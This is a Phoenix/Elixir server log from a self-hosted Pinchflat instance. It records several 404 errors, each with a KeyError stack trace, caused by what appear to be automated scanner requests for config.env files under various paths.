LIMIT 1 [] 21:08:41.427 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.427 [error] #PID<0.3284.0> running PinchflatWeb.Endpoint (connection #PID<0.3283.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3283.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49748}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3284.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-laxsunYkaUAAPOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3283.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49748}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3283.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49748}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3284.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "htt (truncated) 21:08:41.434 [info] GET /api/config.env 21:08:41.435 [debug] QUERY OK source="settings" db=0.0ms idle=176.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.435 [debug] QUERY OK source="settings" db=0.0ms idle=51.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.435 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.435 [error] #PID<0.3286.0> running PinchflatWeb.Endpoint (connection #PID<0.3285.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/config.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3285.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49750}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3286.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/config.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-lcsmcHqygwAAPQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3285.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49750}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3285.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49750}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3286.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50 (truncated) 21:08:41.441 [info] GET /api/shared/config.env 21:08:41.441 [debug] QUERY OK source="settings" db=0.0ms idle=56.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.441 [debug] QUERY OK source="settings" db=0.0ms idle=14.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.441 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.441 [error] #PID<0.3288.0> running PinchflatWeb.Endpoint (connection #PID<0.3287.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/shared/config.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3287.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49754}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3288.0>, params: %{}, path_info: ["api", "shared", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/shared/config.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-lePgtaWoAQAAPSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3287.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49754}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3287.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49754}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3288.0>, params: %{}, path_info: ["api", "shared", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120. (truncated) 21:08:41.447 [info] GET /api/shared/config/config.env 21:08:41.447 [debug] QUERY OK source="settings" db=0.0ms idle=20.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.448 [debug] QUERY OK source="settings" db=0.0ms idle=13.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.448 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.448 [error] #PID<0.3290.0> running PinchflatWeb.Endpoint (connection #PID<0.3289.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/shared/config/config.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/config/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3289.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49758}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3290.0>, params: %{}, path_info: ["api", "shared", "config", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/shared/config/config.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-lfxb0q1qBsAAPUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3289.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49758}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/config/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3289.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config/config.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49758}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3290.0>, params: %{}, path_info: ["api", "shared", "config", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ 